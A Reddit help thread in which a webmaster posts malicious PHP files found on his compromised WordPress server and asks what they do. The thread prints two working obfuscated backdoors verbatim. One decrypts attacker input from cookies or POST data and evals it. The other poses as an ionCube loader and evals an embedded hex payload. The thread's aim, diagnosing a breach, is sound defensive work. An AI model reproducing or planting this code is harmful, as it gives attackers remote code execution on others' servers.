r/PHPhelp • • Apr 02 '18

What is this code doing?

My webserver was recently compromised. A bunch of php files I didn't upload were there in the root html directory of my site. I don't know how they got there, but I would guess it was through a security hole in an old version of wordpress, which I thought was secure. When I navigated to the file on my web browser, all it did was render a white page. There were about 15 of these files, dating back almost a year, up until last month. the $string in each file was a different random selection of letters. Anyway, I was hoping someone could take a look and see if they could tell what this code is supposed to do.

<?php $wysyj = 'Hypt4i6_k9obsce571vn\'mldf*xgr8-0#ua';$fcmqf = Array();$fcmqf[] = $wysyj[0].$wysyj[25];$fcmqf[] = $wysyj[32];$fcmqf[] = $wysyj[9].$wysyj[15].$wysyj[6].$wysyj[23].$wysyj[9].$wysyj[13].$wysyj[23].$wysyj[14].$wysyj[30].$wysyj[17].$wysyj[16].$wysyj[4].$wysyj[29].$wysyj[30].$wysyj[4].$wysyj[29].$wysyj[29].$wysyj[9].$wysyj[30].$wysyj[9].$wysyj[6].$wysyj[16].$wysyj[16].$wysyj[30].$wysyj[6].$wysyj[11].$wysyj[4].$wysyj[16].$wysyj[4].$wysyj[34].$wysyj[6].$wysyj[31].$wysyj[24].$wysyj[11].$wysyj[9].$wysyj[29];$fcmqf[] = $wysyj[13].$wysyj[10].$wysyj[33].$wysyj[19].$wysyj[3];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[7].$wysyj[28].$wysyj[14].$wysyj[2].$wysyj[14].$wysyj[34].$wysyj[3];$fcmqf[] = $wysyj[14].$wysyj[26].$wysyj[2].$wysyj[22].$wysyj[10].$wysyj[23].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[33].$wysyj[11].$wysyj[12].$wysyj[3].$wysyj[28];$fcmqf[] = $wysyj[34].$wysyj[28].$wysyj[28].$wysyj[34].$wysyj[1].$wysyj[7].$wysyj[21].$wysyj[14].$wysyj[28].$wysyj[27].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[22].$wysyj[14].$wysyj[19];$fcmqf[] = $wysyj[2].$wysyj[34].$wysyj[13].$wysyj[8];foreach ($fcmqf[7]($_COOKIE, $_POST) as $icekva => $vjbst){function djlqgq($fcmqf, $icekva, $mcjeqs){return $fcmqf[6]($fcmqf[4]($icekva . $fcmqf[2], ($mcjeqs / $fcmqf[8]($icekva)) + 1), 0, $mcjeqs);}function uknnjt($fcmqf, $wwuexkk){return @$fcmqf[9]($fcmqf[0], $wwuexkk);}function btxffrz($fcmqf, $wwuexkk){$tcguv = $fcmqf[3]($wwuexkk) % 3;if (!$tcguv) {eval($wwuexkk[1]($wwuexkk[2]));exit();}}$vjbst = uknnjt($fcmqf, $vjbst);btxffrz($fcmqf, $fcmqf[5]($fcmqf[1], $vjbst ^ djlqgq($fcmqf, $icekva, $fcmqf[8]($vjbst))));}

9 Upvotes

11 comments sorted by

View all comments

1

u/gin_and_toxic Apr 02 '18

This kind of code usually injects a malicious javascript file.

1

u/echopulse Apr 02 '18

hmm. I went looking through the other files, and found a couple that referenced Ion Php code loader, which looks like a php code security tool. Would someone be able to use that to upload php files to my server? The only change I can tell they made to my actual site was to rename my index page with a page called index.bak.bak, and then create a php index file that actually just loaded the html file. This just broke any internal links to index, but I didn't notice it for who knows how long because the index page still worked when I loaded up the domain.

Here's more:

<?php //000220 if (!extension_loaded('IonCube_loader')) {$__oc = strtolower(substr(php_uname(), 0, 3));$__ln = 'ioncube_loader_' . $__oc . '_' . substr(phpversion(), 0, 3) . (($__oc == 'win') ? '.dll' : '.so');if (function_exists('il_exec')) {return il_exec();}$__ln = '/ioncube/' . $__ln;$__ln = "preg_replace";$__oid = @fopen(__FILE__, 'rb');$__id = realpath('extension_dir');$__here = dirname(__FILE__);if (strlen($__id) > 1 && $__id[1] == ':') {$__id = str_replace('\\', '/', substr($__id, 2));$__here = str_replace('\\', '/', substr($__here, 2));}$__rd = "/" . str_repeat('/..', substr_count($__id, '/')) . $__here . '/';$__i = strlen($__rd);while ($__i--) {if ($__rd[$__i] == '/') {$__lp = substr($__rd, 0, $__i) . $__ln;if ($__lp = fread($__oid, @filesize(__FILE__))) {$__ln = pack("H*", $__ln("/[A-Z,\r,\n]/", "", substr($__lp, 0xd01-0x851)));break;}}}eval($__ln);return 0;} else {die('The file ' . __FILE__ . " is corrupted.\n");}if (function_exists('il_exec')) {return il_exec();}echo('Please check System Requirements on vendor site because the file <b>' . __FILE__ . '</b> requires the ionCube PHP Loader ' . basename($__ln) . ' to be installed by the site administrator.');return 0;